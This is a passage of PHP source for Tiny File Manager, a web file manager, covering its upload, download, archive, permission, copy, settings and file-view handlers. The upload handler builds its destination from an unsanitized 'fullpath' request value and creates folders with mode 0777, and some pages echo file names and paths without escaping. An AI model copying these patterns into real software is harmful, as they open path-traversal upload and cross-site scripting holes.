  797. $new = fm_clean_path(strip_tags($new));
  798. $new = str_replace('/', '', $new);
  799. // path
  800. $path = FM_ROOT_PATH;
  801. if (FM_PATH != '') {
  802. $path .= '/' . FM_PATH;
  803. }
  804. // rename
  805. if (fm_isvalid_filename($new) && $old != '' && $new != '') {
  806. if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
  807. fm_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)));
  808. } else {
  809. fm_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
  810. }
  811. } else {
  812. fm_set_msg('Invalid characters in file name', 'error');
  813. }
  814. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  815. }
  816.  
  817. // Download
  818. if (isset($_GET['dl'])) {
  819. $dl = $_GET['dl'];
  820. $dl = fm_clean_path($dl);
  821. $dl = str_replace('/', '', $dl);
  822. $path = FM_ROOT_PATH;
  823. if (FM_PATH != '') {
  824. $path .= '/' . FM_PATH;
  825. }
  826. if ($dl != '' && is_file($path . '/' . $dl)) {
  827. fm_download_file($path . '/' . $dl, $dl, 1024);
  828. exit;
  829. } else {
  830. fm_set_msg('File not found', 'error');
  831. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  832. }
  833. }
  834.  
  835. // Upload
  836. if (!empty($_FILES) && !FM_READONLY) {
  837. $override_file_name = false;
  838. $f = $_FILES;
  839. $path = FM_ROOT_PATH;
  840. $ds = DIRECTORY_SEPARATOR;
  841. if (FM_PATH != '') {
  842. $path .= '/' . FM_PATH;
  843. }
  844.  
  845. $errors = 0;
  846. $uploads = 0;
  847. $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
  848. $response = array (
  849. 'status' => 'error',
  850. 'info' => 'Oops! Try again'
  851. );
  852.  
  853. $filename = $f['file']['name'];
  854. $tmp_name = $f['file']['tmp_name'];
  855. $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
  856. $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
  857.  
  858. $targetPath = $path . $ds;
  859. if ( is_writable($targetPath) ) {
  860. $fullPath = $path . '/' . $_REQUEST['fullpath'];
  861. $folder = substr($fullPath, 0, strrpos($fullPath, "/"));
  862.  
  863. if(file_exists ($fullPath) && !$override_file_name) {
  864. $ext_1 = $ext ? '.'.$ext : '';
  865. $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
  866. }
  867.  
  868. if (!is_dir($folder)) {
  869. $old = umask(0);
  870. mkdir($folder, 0777, true);
  871. umask($old);
  872. }
  873.  
  874. if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
  875. if (move_uploaded_file($tmp_name, $fullPath)) {
  876. // Be sure that the file has been uploaded
  877. if ( file_exists($fullPath) ) {
  878. $response = array (
  879. 'status' => 'success',
  880. 'info' => "file upload successful"
  881. );
  882. } else {
  883. $response = array (
  884. 'status' => 'error',
  885. 'info' => 'Couldn\'t upload the requested file.'
  886. );
  887. }
  888. } else {
  889. $response = array (
  890. 'status' => 'error',
  891. 'info' => "Error while uploading files. Uploaded files $uploads",
  892. );
  893. }
  894. }
  895. } else {
  896. $response = array (
  897. 'status' => 'error',
  898. 'info' => 'The specified folder for upload isn\'t writeable.'
  899. );
  900. }
  901. // Return the response
  902. echo json_encode($response);
  903. exit();
  904. }
  905.  
  906. // Mass deleting
  907. if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
  908. $path = FM_ROOT_PATH;
  909. if (FM_PATH != '') {
  910. $path .= '/' . FM_PATH;
  911. }
  912.  
  913. $errors = 0;
  914. $files = $_POST['file'];
  915. if (is_array($files) && count($files)) {
  916. foreach ($files as $f) {
  917. if ($f != '') {
  918. $new_path = $path . '/' . $f;
  919. if (!fm_rdelete($new_path)) {
  920. $errors++;
  921. }
  922. }
  923. }
  924. if ($errors == 0) {
  925. fm_set_msg('Selected files and folder deleted');
  926. } else {
  927. fm_set_msg('Error while deleting items', 'error');
  928. }
  929. } else {
  930. fm_set_msg('Nothing selected', 'alert');
  931. }
  932.  
  933. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  934. }
  935.  
  936. // Pack files
  937. if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
  938. $path = FM_ROOT_PATH;
  939. $ext = 'zip';
  940. if (FM_PATH != '') {
  941. $path .= '/' . FM_PATH;
  942. }
  943.  
  944. //set pack type
  945. $ext = isset($_POST['tar']) ? 'tar' : 'zip';
  946.  
  947.  
  948. if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
  949. fm_set_msg('Operations with archives are not available', 'error');
  950. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  951. }
  952.  
  953. $files = $_POST['file'];
  954. if (!empty($files)) {
  955. chdir($path);
  956.  
  957. if (count($files) == 1) {
  958. $one_file = reset($files);
  959. $one_file = basename($one_file);
  960. $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
  961. } else {
  962. $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
  963. }
  964.  
  965. if($ext == 'zip') {
  966. $zipper = new FM_Zipper();
  967. $res = $zipper->create($zipname, $files);
  968. } elseif ($ext == 'tar') {
  969. $tar = new FM_Zipper_Tar();
  970. $res = $tar->create($zipname, $files);
  971. }
  972.  
  973. if ($res) {
  974. fm_set_msg(sprintf('Archive <b>%s</b> created', fm_enc($zipname)));
  975. } else {
  976. fm_set_msg('Archive not created', 'error');
  977. }
  978. } else {
  979. fm_set_msg('Nothing selected', 'alert');
  980. }
  981.  
  982. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  983. }
  984.  
  985. // Unpack
  986. if (isset($_GET['unzip']) && !FM_READONLY) {
  987. $unzip = $_GET['unzip'];
  988. $unzip = fm_clean_path($unzip);
  989. $unzip = str_replace('/', '', $unzip);
  990. $isValid = false;
  991.  
  992. $path = FM_ROOT_PATH;
  993. if (FM_PATH != '') {
  994. $path .= '/' . FM_PATH;
  995. }
  996.  
  997. if ($unzip != '' && is_file($path . '/' . $unzip)) {
  998. $zip_path = $path . '/' . $unzip;
  999. $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
  1000. $isValid = true;
  1001. } else {
  1002. fm_set_msg('File not found', 'error');
  1003. }
  1004.  
  1005.  
  1006. if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
  1007. fm_set_msg('Operations with archives are not available', 'error');
  1008. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  1009. }
  1010.  
  1011. if ($isValid) {
  1012. //to folder
  1013. $tofolder = '';
  1014. if (isset($_GET['tofolder'])) {
  1015. $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
  1016. if (fm_mkdir($path . '/' . $tofolder, true)) {
  1017. $path .= '/' . $tofolder;
  1018. }
  1019. }
  1020.  
  1021. if($ext == "zip") {
  1022. $zipper = new FM_Zipper();
  1023. $res = $zipper->unzip($zip_path, $path);
  1024. } elseif ($ext == "tar") {
  1025. try {
  1026. $gzipper = new PharData($zip_path);
  1027. if (@$gzipper->extractTo($path,null, true)) {
  1028. $res = true;
  1029. } else {
  1030. $res = false;
  1031. }
  1032. } catch (Exception $e) {
  1033. //TODO:: need to handle the error
  1034. $res = true;
  1035. }
  1036. }
  1037.  
  1038. if ($res) {
  1039. fm_set_msg('Archive unpacked');
  1040. } else {
  1041. fm_set_msg('Archive not unpacked', 'error');
  1042. }
  1043.  
  1044. } else {
  1045. fm_set_msg('File not found', 'error');
  1046. }
  1047. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  1048. }
  1049.  
  1050. // Change Perms (not for Windows)
  1051. if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
  1052. $path = FM_ROOT_PATH;
  1053. if (FM_PATH != '') {
  1054. $path .= '/' . FM_PATH;
  1055. }
  1056.  
  1057. $file = $_POST['chmod'];
  1058. $file = fm_clean_path($file);
  1059. $file = str_replace('/', '', $file);
  1060. if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
  1061. fm_set_msg('File not found', 'error');
  1062. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  1063. }
  1064.  
  1065. $mode = 0;
  1066. if (!empty($_POST['ur'])) {
  1067. $mode |= 0400;
  1068. }
  1069. if (!empty($_POST['uw'])) {
  1070. $mode |= 0200;
  1071. }
  1072. if (!empty($_POST['ux'])) {
  1073. $mode |= 0100;
  1074. }
  1075. if (!empty($_POST['gr'])) {
  1076. $mode |= 0040;
  1077. }
  1078. if (!empty($_POST['gw'])) {
  1079. $mode |= 0020;
  1080. }
  1081. if (!empty($_POST['gx'])) {
  1082. $mode |= 0010;
  1083. }
  1084. if (!empty($_POST['or'])) {
  1085. $mode |= 0004;
  1086. }
  1087. if (!empty($_POST['ow'])) {
  1088. $mode |= 0002;
  1089. }
  1090. if (!empty($_POST['ox'])) {
  1091. $mode |= 0001;
  1092. }
  1093.  
  1094. if (@chmod($path . '/' . $file, $mode)) {
  1095. fm_set_msg('Permissions changed');
  1096. } else {
  1097. fm_set_msg('Permissions not changed', 'error');
  1098. }
  1099.  
  1100. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  1101. }
  1102.  
  1103. /*************************** /ACTIONS ***************************/
  1104.  
  1105. // get current path
  1106. $path = FM_ROOT_PATH;
  1107. if (FM_PATH != '') {
  1108. $path .= '/' . FM_PATH;
  1109. }
  1110.  
  1111. // check path
  1112. if (!is_dir($path)) {
  1113. fm_redirect(FM_SELF_URL . '?p=');
  1114. }
  1115.  
  1116. // get parent folder
  1117. $parent = fm_get_parent_path(FM_PATH);
  1118.  
  1119. $objects = is_readable($path) ? scandir($path) : array();
  1120. $folders = array();
  1121. $files = array();
  1122. $current_path = array_slice(explode("/",$path), -1)[0];
  1123. if (is_array($objects) && fm_is_exclude_items($current_path)) {
  1124. foreach ($objects as $file) {
  1125. if ($file == '.' || $file == '..') {
  1126. continue;
  1127. }
  1128. if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
  1129. continue;
  1130. }
  1131. $new_path = $path . '/' . $file;
  1132. if (@is_file($new_path) && fm_is_exclude_items($file)) {
  1133. $files[] = $file;
  1134. } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
  1135. $folders[] = $file;
  1136. }
  1137. }
  1138. }
  1139.  
  1140. if (!empty($files)) {
  1141. natcasesort($files);
  1142. }
  1143. if (!empty($folders)) {
  1144. natcasesort($folders);
  1145. }
  1146.  
  1147. // upload form
  1148. if (isset($_GET['upload']) && !FM_READONLY) {
  1149. fm_show_header(); // HEADER
  1150. fm_show_nav_path(FM_PATH); // current path
  1151. //get the allowed file extensions
  1152. function getUploadExt() {
  1153. $extArr = explode(',', FM_UPLOAD_EXTENSION);
  1154. if(FM_UPLOAD_EXTENSION && $extArr) {
  1155. array_walk($extArr, function(&$x) {$x = ".$x";});
  1156. return implode(',', $extArr);
  1157. }
  1158. return '';
  1159. }
  1160. ?>
  1161.  
  1162. <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
  1163. <div class="path">
  1164.  
  1165. <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
  1166. <div class="card-header">
  1167. <ul class="nav nav-tabs card-header-tabs">
  1168. <li class="nav-item">
  1169. <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
  1170. </li>
  1171. <li class="nav-item">
  1172. <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
  1173. </li>
  1174. </ul>
  1175. </div>
  1176. <div class="card-body">
  1177. <p class="card-text">
  1178. <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
  1179. <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
  1180. </p>
  1181.  
  1182. <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
  1183. <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
  1184. <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
  1185. <div class="fallback">
  1186. <input name="file" type="file" multiple/>
  1187. </div>
  1188. </form>
  1189.  
  1190. <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
  1191. <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
  1192. <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
  1193. <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
  1194. <button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button>
  1195. <div class="lds-facebook"><div></div><div></div><div></div></div>
  1196. </form>
  1197. <div id="js-url-upload__list" class="col-9 mt-3"></div>
  1198. </div>
  1199. </div>
  1200. </div>
  1201. </div>
  1202. <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
  1203. <script>
  1204. Dropzone.options.fileUploader = {
  1205. timeout: 120000,
  1206. maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>,
  1207. acceptedFiles : "<?php echo getUploadExt() ?>",
  1208. init: function () {
  1209. this.on("sending", function (file, xhr, formData) {
  1210. let _path = (file.fullPath) ? file.fullPath : file.name;
  1211. document.getElementById("fullpath").value = _path;
  1212. xhr.ontimeout = (function() {
  1213. toast('Error: Server Timeout');
  1214. });
  1215. }).on("success", function (res) {
  1216. let _response = JSON.parse(res.xhr.response);
  1217. if(_response.status == "error") {
  1218. toast(_response.info);
  1219. }
  1220. }).on("error", function(file, response) {
  1221. toast(response);
  1222. });
  1223. }
  1224. }
  1225. </script>
  1226. <?php
  1227. fm_show_footer();
  1228. exit;
  1229. }
  1230.  
  1231. // copy form POST
  1232. if (isset($_POST['copy']) && !FM_READONLY) {
  1233. $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
  1234. if (!is_array($copy_files) || empty($copy_files)) {
  1235. fm_set_msg('Nothing selected', 'alert');
  1236. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  1237. }
  1238.  
  1239. fm_show_header(); // HEADER
  1240. fm_show_nav_path(FM_PATH); // current path
  1241. ?>
  1242. <div class="path">
  1243. <div class="card <?php echo fm_get_theme(); ?>">
  1244. <div class="card-header">
  1245. <h6><?php echo lng('Copying') ?></h6>
  1246. </div>
  1247. <div class="card-body">
  1248. <form action="" method="post">
  1249. <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
  1250. <input type="hidden" name="finish" value="1">
  1251. <?php
  1252. foreach ($copy_files as $cf) {
  1253. echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
  1254. }
  1255. ?>
  1256. <p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
  1257. <p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
  1258. <label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label>
  1259. <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
  1260. </p>
  1261. <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p>
  1262. <p>
  1263. <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> &nbsp;
  1264. <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
  1265. </p>
  1266. </form>
  1267. </div>
  1268. </div>
  1269. </div>
  1270. <?php
  1271. fm_show_footer();
  1272. exit;
  1273. }
  1274.  
  1275. // copy form
  1276. if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
  1277. $copy = $_GET['copy'];
  1278. $copy = fm_clean_path($copy);
  1279. if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
  1280. fm_set_msg('File not found', 'error');
  1281. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  1282. }
  1283.  
  1284. fm_show_header(); // HEADER
  1285. fm_show_nav_path(FM_PATH); // current path
  1286. ?>
  1287. <div class="path">
  1288. <p><b>Copying</b></p>
  1289. <p class="break-word">
  1290. Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
  1291. Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
  1292. </p>
  1293. <p>
  1294. <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
  1295. <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
  1296. <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
  1297. </p>
  1298. <p><i>Select folder</i></p>
  1299. <ul class="folders break-word">
  1300. <?php
  1301. if ($parent !== false) {
  1302. ?>
  1303. <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
  1304. <?php
  1305. }
  1306. foreach ($folders as $f) {
  1307. ?>
  1308. <li>
  1309. <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
  1310. <?php
  1311. }
  1312. ?>
  1313. </ul>
  1314. </div>
  1315. <?php
  1316. fm_show_footer();
  1317. exit;
  1318. }
  1319.  
  1320. if (isset($_GET['settings']) && !FM_READONLY) {
  1321. fm_show_header(); // HEADER
  1322. fm_show_nav_path(FM_PATH); // current path
  1323. global $cfg, $lang, $lang_list;
  1324. ?>
  1325.  
  1326. <div class="col-md-8 offset-md-2 pt-3">
  1327. <div class="card mb-2 <?php echo fm_get_theme(); ?>">
  1328. <h6 class="card-header">
  1329. <i class="fa fa-cog"></i> <?php echo lng('Settings') ?>
  1330. <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
  1331. </h6>
  1332. <div class="card-body">
  1333. <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
  1334. <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
  1335. <div class="form-group row">
  1336. <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
  1337. <div class="col-sm-5">
  1338. <select class="form-control" id="js-language" name="js-language">
  1339. <?php
  1340. function getSelected($l) {
  1341. global $lang;
  1342. return ($lang == $l) ? 'selected' : '';
  1343. }
  1344. foreach ($lang_list as $k => $v) {
  1345. echo "<option value='$k' ".getSelected($k).">$v</option>";
  1346. }
  1347. ?>
  1348. </select>
  1349. </div>
  1350. </div>
  1351. <?php
  1352. //get ON/OFF and active class
  1353. function getChecked($conf, $val, $txt) {
  1354. if($conf== 1 && $val ==1) {
  1355. return $txt;
  1356. } else if($conf == '' && $val == '') {
  1357. return $txt;
  1358. } else {
  1359. return '';
  1360. }
  1361. }
  1362. ?>
  1363. <div class="form-group row">
  1364. <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
  1365. <div class="col-sm-9">
  1366. <div class="btn-group btn-group-toggle" data-toggle="buttons">
  1367. <label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>">
  1368. <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON
  1369. </label>
  1370. <label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>">
  1371. <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF
  1372. </label>
  1373. </div>
  1374. </div>
  1375. </div>
  1376.  
  1377. <div class="form-group row">
  1378. <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
  1379. <div class="col-sm-9">
  1380. <div class="btn-group btn-group-toggle" data-toggle="buttons">
  1381. <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>">
  1382. <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON
  1383. </label>
  1384. <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>">
  1385. <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF
  1386. </label>
  1387. </div>
  1388. </div>
  1389. </div>
  1390.  
  1391. <div class="form-group row">
  1392. <label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
  1393. <div class="col-sm-9">
  1394. <div class="btn-group btn-group-toggle" data-toggle="buttons">
  1395. <label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>">
  1396. <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON
  1397. </label>
  1398. <label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>">
  1399. <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF
  1400. </label>
  1401. </div>
  1402. </div>
  1403. </div>
  1404.  
  1405. <div class="form-group row">
  1406. <label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label>
  1407. <div class="col-sm-9">
  1408. <div class="btn-group btn-group-toggle" data-toggle="buttons">
  1409. <label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>">
  1410. <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON
  1411. </label>
  1412. <label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>">
  1413. <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF
  1414. </label>
  1415. </div>
  1416. </div>
  1417. </div>
  1418.  
  1419. <div class="form-group row">
  1420. <div class="col-sm-10">
  1421. <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
  1422. </div>
  1423. </div>
  1424.  
  1425. </form>
  1426. </div>
  1427. </div>
  1428. </div>
  1429. <?php
  1430. fm_show_footer();
  1431. exit;
  1432. }
  1433.  
  1434. if (isset($_GET['help'])) {
  1435. fm_show_header(); // HEADER
  1436. fm_show_nav_path(FM_PATH); // current path
  1437. global $cfg, $lang;
  1438. ?>
  1439.  
  1440. <div class="col-md-8 offset-md-2 pt-3">
  1441. <div class="card mb-2 <?php echo fm_get_theme(); ?>">
  1442. <h6 class="card-header">
  1443. <i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?>
  1444. <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
  1445. </h6>
  1446. <div class="card-body">
  1447. <div class="row">
  1448. <div class="col-xs-12 col-sm-6">
  1449. <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>
  1450. <p>Author: Prasath Mani</p>
  1451. <p>Mail Us: <a href="mailto:[email protected]">ccpprogrammers[at]gmail.com</a> </p>
  1452. </div>
  1453. <div class="col-xs-12 col-sm-6">
  1454. <div class="card">
  1455. <ul class="list-group list-group-flush">
  1456. <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
  1457. <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
  1458. <li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li>
  1459. <?php if(!FM_READONLY) { ?>
  1460. <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
  1461. <?php } ?>
  1462. </ul>
  1463. </div>
  1464. </div>
  1465. </div>
  1466. <div class="row js-new-pwd hidden mt-2">
  1467. <div class="col-12">
  1468. <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
  1469. <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
  1470. <div class="form-group mb-2">
  1471. <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
  1472. </div>
  1473. <div class="form-group mx-sm-3 mb-2">
  1474. <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
  1475. <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
  1476. </div>
  1477. <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
  1478. </form>
  1479. <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
  1480. </div>
  1481. </div>
  1482. </div>
  1483. </div>
  1484. </div>
  1485. <?php
  1486. fm_show_footer();
  1487. exit;
  1488. }
  1489.  
  1490. // file viewer
  1491. if (isset($_GET['view'])) {
  1492. $file = $_GET['view'];
  1493. $quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false;
  1494. $file = fm_clean_path($file, false);
  1495. $file = str_replace('/', '', $file);
  1496. if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) {
  1497. fm_set_msg('File not found', 'error');
  1498. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  1499. }
  1500.  
  1501. if(!$quickView) {
  1502. fm_show_header(); // HEADER
  1503. fm_show_nav_path(FM_PATH); // current path
  1504. }
  1505.  
  1506. $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
  1507. $file_path = $path . '/' . $file;
  1508.  
  1509. $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
  1510. $mime_type = fm_get_mime_type($file_path);
  1511. $filesize_raw = fm_get_size($file_path);
  1512. $filesize = fm_get_filesize($filesize_raw);
  1513.  
  1514. $is_zip = false;
  1515. $is_gzip = false;
  1516. $is_image = false;
  1517. $is_audio = false;
  1518. $is_video = false;
  1519. $is_text = false;
  1520. $is_onlineViewer = false;
  1521.  
  1522. $view_title = 'File';
  1523. $filenames = false; // for zip
  1524. $content = ''; // for text
  1525. $online_viewer = strtolower(FM_DOC_VIEWER);
  1526.  
  1527. if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){
  1528. $is_onlineViewer = true;
  1529. }
  1530. elseif ($ext == 'zip' || $ext == 'tar') {
  1531. $is_zip = true;
  1532. $view_title = 'Archive';
  1533. $filenames = fm_get_zif_info($file_path, $ext);
  1534. } elseif (in_array($ext, fm_get_image_exts())) {
  1535. $is_image = true;
  1536. $view_title = 'Image';
  1537. } elseif (in_array($ext, fm_get_audio_exts())) {
  1538. $is_audio = true;
  1539. $view_title = 'Audio';
  1540. } elseif (in_array($ext, fm_get_video_exts())) {
  1541. $is_video = true;
  1542. $view_title = 'Video';
  1543. } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
  1544. $is_text = true;
  1545. $content = file_get_contents($file_path);
  1546. }
  1547.  
  1548. ?>
  1549. <div class="row">
  1550. <div class="col-12">
  1551. <?php if(!$quickView) { ?>
  1552. <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
  1553. <p class="break-word">
  1554. Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br>
  1555. File size: <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
  1556. MIME-type: <?php echo $mime_type ?><br>
  1557. <?php
  1558. // ZIP info
  1559. if (($is_zip || $is_gzip) && $filenames !== false) {
  1560. $total_files = 0;
  1561. $total_comp = 0;
  1562. $total_uncomp = 0;
  1563. foreach ($filenames as $fn) {
  1564. if (!$fn['folder']) {
  1565. $total_files++;
  1566. }
  1567. $total_comp += $fn['compressed_size'];
  1568. $total_uncomp += $fn['filesize'];
